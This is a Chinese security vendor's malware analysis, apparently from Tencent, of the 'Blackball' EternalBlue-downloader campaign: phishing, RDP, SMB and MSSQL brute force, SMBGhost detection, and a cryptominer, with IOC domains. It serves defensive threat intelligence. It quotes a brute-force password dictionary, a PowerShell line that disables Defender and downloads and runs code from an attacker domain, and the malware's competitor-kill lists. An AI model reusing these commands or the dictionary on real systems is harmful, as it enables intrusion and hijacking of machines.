永恒之蓝木马下载器发起 “黑球”行动，新增SMBGhost漏洞检测能

永恒之蓝木马下载器发起 “黑球”行动，新增SMBGhost漏洞检测能

一、背景

腾讯安全威胁情报中心检测到永恒之蓝下载器木马出现最新变种，此次变种的病毒延续上个版本的邮件蠕虫攻击方法，利用附带Office漏洞CVE-2017-8570漏洞的doc文档以及JS诱饵文件发送与新冠肺炎主题相关的钓鱼邮件。同时新增SMBGhost（CVE-2020-0796）漏洞检测和上报、新增SSH爆破攻击相关代码，推测其可能在后续攻击活动中利用SMBGhost漏洞、也可能发起针对Linux系统的攻击。

病毒Payload执行时安装随机名计划任务从新的C2地址t.zer9g.com、t.zz3r0.com下载a.jsp进行持久化攻击，a.jsp继续下载攻击模块if.bin、if_mail.bin以利用漏洞、弱口令爆破、钓鱼邮件群发等方式进行攻击传播，将XMRig门罗币矿机程序m6.bin、m6g.bin注入Powershell.exe运行。病毒还会安装没有实际功能的计划任务blackball（“黑球”），因此将此次攻击命名为“黑球”行动。

二、样本分析

1.钓鱼邮件攻击

首先从outlook应用程序会话中获取邮箱联系人。

然后自动生成readme.doc，readme.js两种附件文件，并将readme.js制作为压缩包readme.zip。其中readme.doc中包含Office漏洞CVE-2017-8570触发代码。readme.js中包含恶意Wscript脚本攻击代码。两种附件被打开后都会执行恶意命令下载http[:]//d.ackng.com/mail.jsp。

在$mail.Body中添加待发送邮件的邮件主题内容，从预置的9个主题中随机选择，主要包含“新冠肺炎COVID-19”， “日常联系对话”，“文件损坏无法查看”三种类型，具体内容如下：

生成的钓鱼邮件示例如下：

最后针对邮箱中发现的每一个联系人，依次发送包含恶意代码的附件readme.doc、readme.zip的邮件。

2.弱口令爆破

RDP（3389端口）弱口令爆破

爆破用户名：“administrator”，密码字典：

`&＃8221;saadmin&＃8221;,&＃8220;123456&＃8221;,&＃8220;test1&＃8221;,&＃8220;zinch&＃8221;,&＃8220;g_czechout&＃8221;,&＃8220;asdf&＃8221;,&＃8220;Aa123456.&＃8221;,&＃8220;dubsmash&＃8221;,&＃8220;password&＃8221;,&＃8220;PASSWORD&＃8221;,&＃8220;123.com&＃8221;,&＃8220;admin@123&＃8221;,&＃8220;Aa123456&＃8221;,&＃8220;qwer12345&＃8221;,&＃8220;Huawei@123&＃8221;,&＃8220;123@abc&＃8221;,&＃8220;golden&＃8221;,&＃8220;123!@#qwe&＃8221;,&＃8220;1qaz@WSX&＃8221;,&＃8220;Ab123&＃8221;,&＃8220;1qaz!QAZ&＃8221;,&＃8220;Admin123&＃8221;,&＃8220;Administrator&＃8221;,&＃8220;Abc123&＃8221;,&＃8220;Admin@123&＃8221;,&＃8220;999999&＃8221;,&＃8220;Passw0rd&＃8221;,&＃8220;123qwe!@#&＃8221;,&＃8220;football&＃8221;,&＃8220;welcome&＃8221;,&＃8220;1&＃8221;,&＃8220;12&＃8221;,&＃8220;21&＃8221;,&＃8220;123&＃8221;,&＃8220;321&＃8221;,&＃8220;1234&＃8221;,&＃8220;12345&＃8221;,&＃8220;123123&＃8221;,&＃8220;123321&＃8221;,&＃8220;111111&＃8221;,&＃8220;654321&＃8221;,&＃8220;666666&＃8221;,&＃8220;121212&＃8221;,&＃8220;000000&＃8221;,&＃8220;222222&＃8221;,&＃8220;888888&＃8221;,&＃8220;1111&＃8221;,&＃8220;555555&＃8221;,&＃8220;1234567&＃8221;,&＃8220;12345678&＃8221;,&＃8220;123456789&＃8221;,&＃8220;987654321&＃8221;,&＃8220;admin&＃8221;,&＃8220;abc123&＃8221;,&＃8220;abcd1234&＃8221;,&＃8220;abcd@1234&＃8221;,&＃8220;abc@123&＃8221;,&＃8220;p@ssword&＃8221;,&＃8220;P@ssword&＃8221;,&＃8220;p@ssw0rd&＃8221;,&＃8220;P@ssw0rd&＃8221;,&＃8220;P@SSWORD&＃8221;,&＃8220;P@SSW0RD&＃8221;,&＃8220;P@w0rd&＃8221;,&＃8220;P@word&＃8221;,&＃8220;iloveyou&＃8221;,&＃8220;monkey&＃8221;,&＃8220;login&＃8221;,&＃8220;passw0rd&＃8221;,&＃8220;master&＃8221;,&＃8220;hello&＃8221;,&＃8220;qazwsx&＃8221;,&＃8220;password1&＃8221;,&＃8220;Password1&＃8221;,&＃8220;qwerty&＃8221;,&＃8220;baseball&＃8221;,&＃8220;qwertyuiop&＃8221;,&＃8220;superman&＃8221;,&＃8220;1qaz2wsx&＃8221;,&＃8220;fuckyou&＃8221;,&＃8220;123qwe&＃8221;,&＃8220;zxcvbn&＃8221;,&＃8220;pass&＃8221;,&＃8220;aaaaaa&＃8221;,&＃8220;love&＃8221;,&＃8220;administrator&＃8221;,&＃8220;qwe1234A&＃8221;,&＃8220;qwe1234a&＃8221;,&＃8220;123123123&＃8221;,&＃8220;1234567890&＃8221;,&＃8220;88888888&＃8221;,&＃8220;111111111&＃8221;,&＃8220;112233&＃8221;,&＃8220;a123456&＃8221;,&＃8220;123456a&＃8221;,&＃8220;5201314&＃8221;,&＃8220;1q2w3e4r&＃8221;,&＃8220;qwe123&＃8221;,&＃8220;a123456789&＃8221;,&＃8220;123456789a&＃8221;,&＃8220;dragon&＃8221;,&＃8220;sunshine&＃8221;,&＃8220;princess&＃8221;,&＃8220;!@#$%^&*&＃8221;,&＃8220;charlie&＃8221;,&＃8220;aa123456&＃8221;,&＃8220;homelesspa&＃8221;,&＃8220;1q2w3e4r5t&＃8221;,&＃8220;sa&＃8221;,&＃8220;sasa&＃8221;,&＃8220;sa123&＃8221;,&＃8220;sql2005&＃8221;,&＃8220;sa2008&＃8221;,&＃8220;abc&＃8221;,&＃8220;abcdefg&＃8221;,&＃8220;sapassword&＃8221;,&＃8220;Aa12345678&＃8221;,&＃8220;ABCabc123&＃8221;,&＃8220;sqlpassword&＃8221;,&＃8220;sql2008&＃8221;,&＃8220;11223344&＃8221;,&＃8220;admin888&＃8221;,&＃8220;qwe1234&＃8221;,&＃8220;A123456&＃8221;,&＃8220;OPERADOR&＃8221;,&＃8220;Password123&＃8221;,&＃8220;test123&＃8221;,&＃8220;NULL&＃8221;,&＃8220;user&＃8221;,&＃8220;test&＃8221;,&＃8220;Password01&＃8221;,&＃8220;stagiaire&＃8221;,&＃8220;demo&＃8221;,&＃8220;scan&＃8221;,&＃8220;P@ssw0rd123&＃8221;,&＃8220;xerox&＃8221;,&＃8220;compta&＃8221;`。

爆破成功后会上报该机器的IP以及此次成功登陆使用的密码，然后利用rdpexec模块远程执行代码$rdp_code:

cmd /c powershell Set-MpPreference-DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionProcess c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe&powershellIEX(New-ObjectNet.WebClient).DownloadString(&＃8221;http[:]//t.amynx.com/rdp.jsp&＃8221;)

SMB爆破攻击（445端口）

爆破使用用户名为&＃8221;administrator&＃8221;,&＃8221;admin&＃8221;，爆破成功后远程执行代码$ipc_code：

MSSQL爆破攻击（1433端口）

使用与RDP爆破同样的密码字典，爆破成功后远程执行代码$mscmd_code：

此外，最新的攻击代码中还加如了SSH爆破相关命令，该代码将会启动SSH爆破模块，并在爆破成功后执行远程命令$ssh_cmd。但是目前该功能并未启用，相关可能还在开发阶段，后续如果启用之后，可能会导致被感染的Windows机器通过SSH爆破攻击Linux系统。

3.漏洞攻击

1)   SMBGhost漏洞利用

永恒之蓝下载器木马变种会利用公开的漏洞检测代码检测存在SMBGhost漏洞（编号：CVE-2020-0796、绰号：永恒之黑）的机器IP并上报。

2020年3月12日腾讯安全威胁情报中心发布了SMBv3远程代码执行漏洞CVE-2020-0796（别名：SMBGhost，绰号：永恒之黑）预警公告：https://mp.weixin.qq.com/s/zwuDziMherWbUY2S2rrD8Q

2020年6月2日，国外安全研究员公开了一份SMBGhost漏洞CVE-2020-0796漏洞的RCE代码，腾讯安全团队已对其进行分析并预警：https://mp.weixin.qq.com/s/LDWRacyVMAu2JGZUJf3qKQ

该漏洞的后果十分接近永恒之蓝系列，都利用Windows SMB漏洞远程攻击获取系统最高权限，除了直接攻击SMB服务端造成RCE外，攻击者可以构造特定的网页，压缩包，共享目录，OFFICE文档等多种方式触发漏洞进行攻击。由于漏洞利用源代码被公布，使得漏洞利用风险骤然升级，被黑灰产修改即可用于网络攻击。

2)   永恒之蓝漏洞利用

利用永恒之蓝漏洞攻击，攻击后远程执行代码$sc_code。

3)   Lnk漏洞（CVE-2017-8464）利用

Lnk漏洞利用CVE-2017-8464，在可移动盘、网络磁盘下创建具有CVE-2017-8464漏洞攻击代码的Lnk文件，一旦该文件被查看就会导致恶意代码执行。同时还会释放JS文件readme.js，通过伪装的文件在被误点击时感染病毒。

4.清除竞品挖矿木马

永恒之蓝下载器木马在攻击代码if.bin中Killer()函数中会详细地搜集大量竞争对手挖矿木马的信息，包括各类挖矿木马安装的服务、计划任务、进程名，以及挖矿使用的命令行特点、端口号特点来锁定目标并进行清除。

通过服务名匹配：

`$SrvName =&＃8220;xWinWpdSrv&＃8221;, &＃8220;SVSHost&＃8221;, &＃8220;Microsoft Telemetry&＃8221;, &＃8220;lsass&＃8221;, &＃8220;Microsoft&＃8221;, &＃8220;system&＃8221;, &＃8220;Oracleupdate&＃8221;, &＃8220;CLR&＃8221;, &＃8220;sysmgt&＃8221;, &＃8220;\gm&＃8221;, &＃8220;WmdnPnSN&＃8221;, &＃8220;Sougoudl&＃8221;,&＃8220;National&＃8221;, &＃8220;Nationaaal&＃8221;, &＃8220;Natimmonal&＃8221;, &＃8220;Nationaloll&＃8221;, &＃8220;Nationalmll&＃8221;,&＃8220;Nationalaie&＃8221;,&＃8220;Nationalwpi&＃8221;,&＃8220;WinHelp32&＃8221;,&＃8220;WinHelp64&＃8221;, &＃8220;Samserver&＃8221;, &＃8220;RpcEptManger&＃8221;, &＃8220;NetMsmqActiv Media NVIDIA&＃8221;, &＃8220;Sncryption Media Playeq&＃8221;,&＃8220;SxS&＃8221;,&＃8220;WinSvc&＃8221;,&＃8220;mssecsvc2.1&＃8221;,&＃8220;mssecsvc2.0&＃8221;,&＃8220;Windows_Update&＃8221;,&＃8220;Windows Managers&＃8221;,&＃8220;SvcNlauser&＃8221;,&＃8220;WinVaultSvc&＃8221;,&＃8220;Xtfy&＃8221;,&＃8220;Xtfya&＃8221;,&＃8220;Xtfyxxx&＃8221;,&＃8220;360rTys&＃8221;,&＃8220;IPSECS&＃8221;,&＃8220;MpeSvc&＃8221;,&＃8220;SRDSL&＃8221;,&＃8220;WifiService&＃8221;,&＃8220;ALGM&＃8221;,&＃8220;wmiApSrvs&＃8221;,&＃8220;wmiApServs&＃8221;,&＃8220;taskmgr1&＃8221;,&＃8220;WebServers&＃8221;,&＃8220;ExpressVNService&＃8221;,&＃8220;WWW.DDOS.CN.COM&＃8221;,&＃8220;WinHelpSvcs&＃8221;,&＃8220;aspnet_staters&＃8221;,&＃8220;clr_optimization&＃8221;,&＃8220;AxInstSV&＃8221;,&＃8220;Zational&＃8221;,&＃8220;DNS Server&＃8221;,&＃8220;Serhiez&＃8221;,&＃8220;SuperProServer&＃8221;,&＃8220;.Net CLR&＃8221;,&＃8220;WissssssnHelp32&＃8221;,&＃8220;WinHasdadelp32&＃8221;,&＃8220;WinHasdelp32&＃8221;,&＃8220;ClipBooks&＃8221;`

通过计划任务名匹配：

`$TaskName = &＃8220;my1&＃8243;,&＃8221;Mysa&＃8221;, &＃8220;Mysa1&＃8221;, &＃8220;Mysa2&＃8221;, &＃8220;Mysa3&＃8221;, &＃8220;ok&＃8221;, &＃8220;Oracle Java&＃8221;, &＃8220;Oracle Java Update&＃8220;, &＃8220;Microsoft Telemetry&＃8220;, &＃8220;Spooler SubSystem Service&＃8220;,&＃8221;Oracle Products Reporter&＃8220;, &＃8220;Update service for products&＃8220;, &＃8220;gm&＃8220;, &＃8220;ngm&＃8220;,&＃8221;Sorry&＃8220;,&＃8221;Windows_Update&＃8220;,&＃8221;Update_windows&＃8220;,&＃8221;WindowsUpdate1&＃8220;,&＃8221;WindowsUpdate2&＃8220;,&＃8221;WindowsUpdate3&＃8220;,&＃8221;AdobeFlashPlayer&＃8220;,&＃8221;FlashPlayer1&＃8220;,&＃8221;FlashPlayer2&＃8220;,&＃8221;FlashPlayer3&＃8220;,&＃8221;IIS&＃8220;,&＃8221;WindowsLogTasks&＃8220;,&＃8221;System Log Security Check&＃8220;,&＃8221;Update&＃8220;,&＃8221;Update1&＃8220;,&＃8221;Update2&＃8220;,&＃8221;Update3&＃8220;,&＃8221;Update4&＃8220;,&＃8221;DNS&＃8220;,&＃8221;SYSTEM&＃8220;,&＃8221;DNS2&＃8220;,&＃8221;SYSTEMa&＃8220;,&＃8221;skycmd&＃8220;,&＃8221;Miscfost&＃8220;,&＃8221;Netframework&＃8220;,&＃8221;Flash&＃8220;,&＃8221;RavTask&＃8220;,&＃8221;GooglePingConfigs&＃8220;,&＃8221;HomeGroupProvider&＃8220;,&＃8221;MiscfostNsi&＃8220;,&＃8221;WwANsvc&＃8220;,&＃8221;Bluetooths&＃8220;,&＃8221;Ddrivers&＃8220;,&＃8221;DnsScan&＃8220;,&＃8221;WebServers&＃8220;,&＃8221;Credentials&＃8220;,&＃8221;TablteInputout&＃8220;,&＃8221;werclpsyport&＃8220;,&＃8221;HispDemorn&＃8220;,&＃8221;LimeRAT-Admin&＃8220;,&＃8221;DnsCore&＃8220;,&＃8221;Update service for Windows Service&＃8220;,&＃8221;DnsCore&＃8220;,&＃8221;ECDnsCore&＃8220;`

通过命令行特征匹配：

`$_.CommandLine -like&＃8216;*pool.monero.hashvault.pro*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*blazepool*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*blockmasters*&＃8217; &＃8211;Or$_.CommandLine -like&＃8216;*blockmasterscoins*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*bohemianpool*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*cryptmonero*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*cryptonight*&＃8217;&＃8211;Or $_.CommandLine -like &＃8216;*crypto-pool*&＃8217; &＃8211;Or $_.CommandLine -like&＃8216;*&＃8211;donate-level*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*dwarfpool*&＃8217; &＃8211;Or $_.CommandLine-like &＃8216;*hashrefinery*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*hashvault.pro*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*iwanttoearn.money*&＃8217; &＃8211;Or $_.CommandLine -like&＃8216;*&＃8211;max-cpu-usage*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*mine.bz*&＃8217; &＃8211;Or $_.CommandLine-like &＃8216;*minercircle.com*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*minergate*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*miners.pro*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*mineXMR*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*minexmr*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*mineXMR*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*mineXMR*&＃8217; &＃8211;Or $_.CommandLine -like&＃8216;*miningpoolhubcoins*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*mixpools.org*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*mixpools.org*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*monero*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*monero*&＃8217; &＃8211;Or $_.CommandLine -like&＃8216;*monero.lindon-pool.win*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*moriaxmr.com*&＃8217; &＃8211;Or $_.CommandLine-like &＃8216;*mypool.online*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*nanopool.org*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*nicehash*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*-p x*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*pool.electroneum.hashvault.pro*&＃8217; &＃8211;Or $_.CommandLine-like &＃8216;*pool.xmr*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*poolto.be*&＃8217; &＃8211;Or $_.CommandLine-like &＃8216;*prohash*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*prohash.net*&＃8217; &＃8211;Or$_.CommandLine-like &＃8216;*ratchetmining.com*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*slushpool*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*stratum+*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*suprnova.cc*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*teracycle.net*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*usxmrpool*&＃8217;&＃8211;Or$_.CommandLine -like &＃8216;*viaxmr.com*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*xmrpool*&＃8217;&＃8211;Or $_.CommandLine -like &＃8216;*yiimp*&＃8217; &＃8211;Or$_.CommandLine -like &＃8216;*zergpool*&＃8217; &＃8211;Or $_.CommandLine-like &＃8216;*zergpoolcoins*&＃8217; &＃8211;Or $_.CommandLine -like &＃8216;*zpool*&＃8217;`

通过网络端口匹配：

`($psids[0] -eq $line[-1]) &＃8211;and $t.contains(&＃8220;ESTABLISHED&＃8221;) &＃8211;and ($t.contains(&＃8220;:1111&＃8221;) &＃8211;or $t.contains(&＃8220;:2222&＃8221;) &＃8211;or $t.contains(&＃8220;:3333&＃8221;) &＃8211;or $t.contains(&＃8220;:4444&＃8221;) &＃8211;or $t.contains(&＃8220;:5555&＃8221;) &＃8211;or $t.contains(&＃8220;:6666&＃8221;) &＃8211;or $t.contains(&＃8220;:7777&＃8221;) &＃8211;or $t.contains(&＃8220;:8888&＃8221;) &＃8211;or $t.contains(&＃8220;:9999&＃8221;) &＃8211;or$t.contains(&＃8220;:14433&＃8221;) &＃8211;or $t.contains(&＃8220;:14444&＃8221;) &＃8211;or$t.contains(&＃8220;:45560&＃8221;) &＃8211;or $t.contains(&＃8220;:65333&＃8221;))`

通过进程名匹配：

`$Miner =&＃8220;SC&＃8221;,&＃8220;WerMgr&＃8221;,&＃8220;WerFault&＃8221;,&＃8220;DW20&＃8221;,&＃8220;msinfo&＃8221;, &＃8220;XMR*&＃8221;,&＃8220;xmrig*&＃8221;, &＃8220;minerd&＃8221;, &＃8220;MinerGate&＃8221;, &＃8220;Carbon&＃8221;, &＃8220;yamm1&＃8221;, &＃8220;upgeade&＃8221;, &＃8220;auto-upgeade&＃8221;, &＃8220;svshost&＃8221;,

&＃8220;SystemIIS&＃8221;, &＃8220;SystemIISSec&＃8221;, 'WindowsUpdater*', &＃8220;WindowsDefender*&＃8221;, &＃8220;update&＃8221;, &＃8220;carss&＃8221;, &＃8220;service&＃8221;, &＃8220;csrsc&＃8221;, &＃8220;cara&＃8221;, &＃8220;javaupd&＃8221;, &＃8220;gxdrv&＃8221;, &＃8220;lsmosee&＃8221;, &＃8220;secuams&＃8221;, &＃8220;SQLEXPRESS_X64_86&＃8221;, &＃8220;Calligrap&＃8221;, &＃8220;Sqlceqp&＃8221;, &＃8220;Setting&＃8221;, &＃8220;Uninsta&＃8221;, &＃8220;conhoste&＃8221;,&＃8220;Setring&＃8221;,&＃8220;Galligrp&＃8221;,&＃8220;Imaging&＃8221;,&＃8220;taskegr&＃8221;,&＃8220;Terms.EXE&＃8221;,&＃8220;360&＃8221;,&＃8220;8866&＃8221;,&＃8220;9966&＃8221;,&＃8220;9696&＃8221;,&＃8220;9797&＃8221;,&＃8220;svchosti&＃8221;,&＃8220;SearchIndex&＃8221;,&＃8220;Avira&＃8221;,&＃8220;cohernece&＃8221;,&＃8220;win&＃8221;,&＃8220;SQLforwin&＃8221;,&＃8220;xig*&＃8221;,&＃8220;taskmgr1&＃8221;,&＃8220;Workstation&＃8221;,&＃8220;ress&＃8221;,&＃8220;explores&＃8221;`

5.执行Payload

通过爆破、RCE漏洞攻击、钓鱼邮件攻击后会下载和执行Powershell代码：

http[:]//t.amynx.com/mail.jsp或http[:]//t.amynx.com/usb.jsp

mail.jsp更新C2地址为：t.amynx.com、t.zer9g.com、t.zz3r0.com，并且安装计划任务blackball（“黑球”），该计划任务无实际代码执行。

然后mail.jsp安装三个随机名计划任务（分别为<random>、<random>\<random>、MicroSoft\Windows\<random>），执行命令为“PS_CMD”。之后三个计划任务中的命令“PS_CMD”被替换为下载和执行Powershell代码http[:]//t.awcna.com/a.jsp、http[:]//t.zer9g.com/a.jsp、http[:]//t.zz3r0.com /a.jsp以达到持久化攻击。

a.jsp负责下载攻击模块if.bin执行漏洞利用和弱口令爆破功能。下载门罗币挖矿模块m6.bin、m6g.bin，并通过Invoke-ReflectivePEInjection将XMR挖矿木马注入Powershell.exe运行，连接矿池lplp.ackng.com:443挖矿，导致CPU占用率接近100%。

将OutLook注册表 “*\Outlook\Security”下的ObjectModelGuard值设为2，即不对outlook任何可疑活动进行提示。

然后下载和执行Powershell版邮件蠕虫攻击程序http[:]//d.ackng.com/if_mail.bin，获取邮箱所有联系人，依次发送钓鱼邮件，进入下一轮攻击流程。

6.历次版本修改

根据腾讯安全威胁情报中心持续跟踪结果，永恒之蓝下载器木马在2018~2020间，已升级十余次，历次变化情况如下：

IOCs

Domain

t.amynx.com

t.zer9g.com

t.zz3r0.com

d.ackng.com